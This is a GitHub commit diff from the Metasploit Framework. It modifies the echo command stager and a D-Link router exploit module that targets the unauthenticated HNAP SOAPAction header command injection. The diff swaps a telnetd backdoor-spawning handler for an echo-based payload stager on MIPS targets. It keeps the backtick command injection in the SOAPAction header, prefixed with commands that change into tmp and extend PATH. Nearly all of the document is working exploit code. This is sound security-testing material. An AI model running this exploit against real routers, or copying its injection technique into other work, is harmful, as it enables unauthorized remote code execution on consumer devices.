Skip to content

Commit 10baf1e

Browse files
author
Michael Messner
committed
echo stager
1 parent b991dec commit 10baf1e

File tree

2 files changed

+34
-45
lines changed

2 files changed

+34
-45
lines changed

lib/rex/exploitation/cmdstager/echo.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -26,10 +26,14 @@ def initialize(exe)
2626
# and initialize opts[:enc_format].
2727
#
2828
def generate(opts = {})
29-
opts[:temp] = opts[:temp] || '/tmp/'
30-
opts[:temp].gsub!(/\\/, "/")
31-
opts[:temp] = opts[:temp].shellescape
32-
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
29+
if opts[:temp] == false
30+
opts[:temp] = ''
31+
else
32+
opts[:temp] = opts[:temp] || '/tmp/'
33+
opts[:temp].gsub!(/\\/, "/")
34+
opts[:temp] = opts[:temp].shellescape
35+
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
36+
end
3337

3438
# by default use the 'hex' encoding
3539
opts[:enc_format] = opts[:enc_format] || 'hex'

modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb

Lines changed: 26 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = NormalRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Auxiliary::CommandShell
12+
include Msf::Exploit::CmdStager
1313

1414
def initialize(info = {})
1515
super(update_info(info,
@@ -25,7 +25,7 @@ def initialize(info = {})
2525
'Author' =>
2626
[
2727
'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645
28-
'Craig Heffner', # independent Vulnerability discovery on different other routers
28+
'Craig Heffner', # independent Vulnerability discovery on different other routers
2929
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
3030
],
3131
'License' => MSF_LICENSE,
@@ -37,13 +37,25 @@ def initialize(info = {})
3737
'DisclosureDate' => 'Feb 13 2015',
3838
'Privileged' => true,
3939
'Platform' => 'unix',
40-
'Arch' => ARCH_CMD,
41-
'Targets' =>
40+
'Targets' =>
4241
[
43-
[ 'Automatic', { } ]
42+
[ 'MIPS Little Endian',
43+
{
44+
'Platform' => 'linux',
45+
'Arch' => ARCH_MIPSLE
46+
}
47+
],
48+
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
49+
{
50+
'Platform' => 'linux',
51+
'Arch' => ARCH_MIPS
52+
}
53+
],
4454
],
45-
'DefaultTarget' => 0
55+
'DefaultTarget' => 0
4656
))
57+
58+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
4759
end
4860

4961
def check
@@ -77,47 +89,20 @@ def exploit
7789

7890
print_status("#{peer} - Exploiting...")
7991

80-
telnetport = rand(32767) + 32768
81-
82-
cmd = "telnetd -p #{telnetport}"
83-
84-
execute_command(cmd)
85-
86-
handle_telnet(telnetport)
87-
end
88-
89-
def handle_telnet(telnetport)
92+
execute_cmdstager(
93+
:flavor => :echo,
94+
:linemax => 200,
95+
:temp => false
96+
)
9097

91-
begin
92-
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
93-
94-
if sock
95-
print_good("#{peer} - Backdoor service spawned")
96-
add_socket(sock)
97-
else
98-
fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned")
99-
end
100-
101-
print_status "Starting a Telnet session #{rhost}:#{telnetport}"
102-
merge_me = {
103-
'USERPASS_FILE' => nil,
104-
'USER_FILE' => nil,
105-
'PASS_FILE' => nil,
106-
'USERNAME' => nil,
107-
'PASSWORD' => nil
108-
}
109-
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
110-
rescue
111-
fail_with(Failure::Unreachable, "#{peer} - Backdoor service not handled")
112-
end
113-
return
11498
end
11599

116-
def execute_command(cmd)
100+
def execute_command(cmd, opts)
117101

118102
uri = '/HNAP1/'
119103

120-
soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd}`"
104+
cmd_new = "cd && cd tmp && export PATH=$PATH:. && " << cmd
105+
soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"
121106

122107
begin
123108
res = send_request_cgi({

0 commit comments

Comments
 (0)